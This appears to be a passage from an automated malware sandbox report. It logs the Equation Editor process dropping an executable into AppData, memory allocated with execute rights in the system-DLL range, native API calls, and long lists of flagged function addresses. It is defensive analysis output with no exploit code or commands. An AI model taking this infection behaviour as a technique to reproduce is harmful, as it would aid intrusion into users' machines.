Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EA980 NtQueryInformationProcess, 5_2_002EA980
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EAEE8 NtQueryInformationProcess, 5_2_002EAEE8
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EC468 5_2_002EC468
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002E6BA9 5_2_002E6BA9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002E7E7A 5_2_002E7E7A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EA3C0 5_2_002EA3C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EC458 5_2_002EC458
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EC6C7 5_2_002EC6C7
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002EC6D8 5_2_002EC6D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002E9AC8 5_2_002E9AC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_002E9F00 5_2_002E9F00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C530C0 5_2_00C530C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C534F8 5_2_00C534F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C52C88 5_2_00C52C88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C52C54 5_2_00C52C54
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C539D0 5_2_00C539D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C539E0 5_2_00C539E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 5_2_00C54510 5_2_00C54510
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015903A 7_2_0015903A
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_001540F8 7_2_001540F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015392D 7_2_0015392D
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015895E 7_2_0015895E
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00154968 7_2_00154968
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_001531B1 7_2_001531B1
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00157200 7_2_00157200
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00158278 7_2_00158278
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00159BC2 7_2_00159BC2
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_001543C8 7_2_001543C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00153482 7_2_00153482
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00153E28 7_2_00153E28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00155E70 7_2_00155E70
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00154699 7_2_00154699
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015DEC8 7_2_0015DEC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00156728 7_2_00156728
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015EA20 7_2_0015EA20
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015F351 7_2_0015F351
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015FC80 7_2_0015FC80
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015DEB9 7_2_0015DEB9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015EEB8 7_2_0015EEB8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015D730 7_2_0015D730
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015D740 7_2_0015D740
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015F7E8 7_2_0015F7E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00661C60 7_2_00661C60
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00664E60 7_2_00664E60
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00668060 7_2_00668060
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660040 7_2_00660040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00663240 7_2_00663240
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00666440 7_2_00666440
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00661620 7_2_00661620
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00664820 7_2_00664820
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00667A20 7_2_00667A20
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00662C00 7_2_00662C00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00665E00 7_2_00665E00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00669000 7_2_00669000
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006628E0 7_2_006628E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00665AE0 7_2_00665AE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00668CE0 7_2_00668CE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660CC0 7_2_00660CC0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00663EC0 7_2_00663EC0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006670C0 7_2_006670C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006622A0 7_2_006622A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006654A0 7_2_006654A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006686A0 7_2_006686A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660CB0 7_2_00660CB0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660680 7_2_00660680
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00663880 7_2_00663880
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00666A80 7_2_00666A80
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660360 7_2_00660360
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00663560 7_2_00663560
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00666760 7_2_00666760
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00661940 7_2_00661940
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00664B40 7_2_00664B40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00667D40 7_2_00667D40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00662F20 7_2_00662F20
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00666120 7_2_00666120
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00669320 7_2_00669320
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00661300 7_2_00661300
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00664500 7_2_00664500
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00667700 7_2_00667700
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00660FE0 7_2_00660FE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006641E0 7_2_006641E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006673E0 7_2_006673E0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006625C0 7_2_006625C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006657C0 7_2_006657C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006689C0 7_2_006689C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006609A0 7_2_006609A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00663BA0 7_2_00663BA0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00666DA0 7_2_00666DA0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00661F80 7_2_00661F80
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00665180 7_2_00665180
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_00668380 7_2_00668380
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B8748 7_2_006B8748
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B2068 7_2_006B2068
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9A68 7_2_006B9A68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6068 7_2_006B6068
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B7761 7_2_006B7761
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B3760 7_2_006B3760
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BF067 7_2_006BF067
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6078 7_2_006B6078
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BF078 7_2_006BF078
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BAD78 7_2_006BAD78
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B0970 7_2_006B0970
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B7770 7_2_006B7770
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BC570 7_2_006BC570
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4970 7_2_006B4970
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B5748 7_2_006B5748
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4041 7_2_006B4041
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B0040 7_2_006B0040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6E40 7_2_006B6E40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BF540 7_2_006BF540
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BB240 7_2_006BB240
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BDD47 7_2_006BDD47
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BDD58 7_2_006BDD58
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9A58 7_2_006B9A58
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4050 7_2_006B4050
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BB250 7_2_006BB250
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BCA28 7_2_006BCA28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BE220 7_2_006BE220
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9F24 7_2_006B9F24
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B5739 7_2_006B5739
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B1738 7_2_006B1738
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BCA38 7_2_006BCA38
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B8738 7_2_006B8738
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B2E30 7_2_006B2E30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9F30 7_2_006B9F30
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BF530 7_2_006BF530
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6E34 7_2_006B6E34
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B0E08 7_2_006B0E08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B7C08 7_2_006B7C08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BFA08 7_2_006BFA08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4E08 7_2_006B4E08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BB70C 7_2_006BB70C
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B2500 7_2_006B2500
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BCF00 7_2_006BCF00
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6500 7_2_006B6500
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4E18 7_2_006B4E18
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BB718 7_2_006BB718
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6510 7_2_006B6510
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B8C10 7_2_006B8C10
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BE210 7_2_006BE210
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B3BE9 7_2_006B3BE9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B44E8 7_2_006B44E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BE6E8 7_2_006BE6E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B5BE0 7_2_006B5BE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BBBE0 7_2_006BBBE0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BA3E7 7_2_006BA3E7
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B3BF8 7_2_006B3BF8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BA3F8 7_2_006BA3F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B0DF8 7_2_006B0DF8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B7BF8 7_2_006B7BF8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B8BFF 7_2_006B8BFF
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B90C9 7_2_006B90C9
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B32C8 7_2_006B32C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BD3C8 7_2_006BD3C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BBBCF 7_2_006BBBCF
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B72CC 7_2_006B72CC
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BA8C0 7_2_006BA8C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B04D8 7_2_006B04D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B72D8 7_2_006B72D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B90D8 7_2_006B90D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B44D8 7_2_006B44D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B5BD1 7_2_006B5BD1
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B1BD0 7_2_006B1BD0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BE6D7 7_2_006BE6D7
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BEBAB 7_2_006BEBAB
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B69A8 7_2_006B69A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BC0A8 7_2_006BC0A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B52A1 7_2_006B52A1
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B12A0 7_2_006B12A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B80A0 7_2_006B80A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B95A0 7_2_006B95A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BD3B8 7_2_006BD3B8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B52B0 7_2_006B52B0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BEBB0 7_2_006BEBB0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BA8B0 7_2_006BA8B0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BAD88 7_2_006BAD88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B4980 7_2_006B4980
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BD880 7_2_006BD880
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B2998 7_2_006B2998
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B6998 7_2_006B6998
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006BD890 7_2_006BD890
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B1290 7_2_006B1290
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B8090 7_2_006B8090
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9594 7_2_006B9594
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D1CF0 7_2_006D1CF0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DA5E8 7_2_006DA5E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DB268 7_2_006DB268
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D3E68 7_2_006D3E68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DE468 7_2_006DE468
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DC848 7_2_006DC848
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DFA48 7_2_006DFA48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D0040 7_2_006D0040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DAC28 7_2_006DAC28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D1828 7_2_006D1828
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DDE28 7_2_006DDE28
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DC208 7_2_006DC208
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DF408 7_2_006DF408
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DAC18 7_2_006DAC18
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D3010 7_2_006D3010
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D0012 7_2_006D0012
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DBEE8 7_2_006DBEE8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DF0E8 7_2_006DF0E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D04F8 7_2_006D04F8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DD4C8 7_2_006DD4C8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D34D8 7_2_006D34D8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DEAA8 7_2_006DEAA8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DB8A8 7_2_006DB8A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DCE88 7_2_006DCE88
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D0E8B 7_2_006D0E8B
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D2680 7_2_006D2680
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D0E98 7_2_006D0E98
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DCB68 7_2_006DCB68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D1360 7_2_006D1360
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D134F 7_2_006D134F
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DAF48 7_2_006DAF48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D2B48 7_2_006D2B48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DE148 7_2_006DE148
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DC528 7_2_006DC528
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DF728 7_2_006DF728
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DDB08 7_2_006DDB08
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DA908 7_2_006DA908
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D0508 7_2_006D0508
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DF717 7_2_006DF717
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DD7E8 7_2_006DD7E8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DBBC8 7_2_006DBBC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DEDC8 7_2_006DEDC8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D09C0 7_2_006D09C0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D09D0 7_2_006D09D0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DD1A8 7_2_006DD1A8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D39A0 7_2_006D39A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DD1A0 7_2_006DD1A0
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006D21B8 7_2_006D21B8
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DE788 7_2_006DE788
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006DB588 7_2_006DB588
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F0040 7_2_006F0040
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5330 7_2_006F5330
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F3D69 7_2_006F3D69
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FAA68 7_2_006FAA68
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC468 7_2_006FC468
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FB760 7_2_006FB760
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F3D78 7_2_006F3D78
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FC478 7_2_006FC478
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FE978 7_2_006FE978
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F5778 7_2_006F5778
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FDE78 7_2_006FDE78
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FB770 7_2_006FB770
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F3070 7_2_006F3070
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F4A70 7_2_006F4A70
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F7A48 7_2_006F7A48
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F9448 7_2_006F9448
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006FF740 7_2_006FF740
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F6D40 7_2_006F6D40
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006F8740 7_2_006F8740
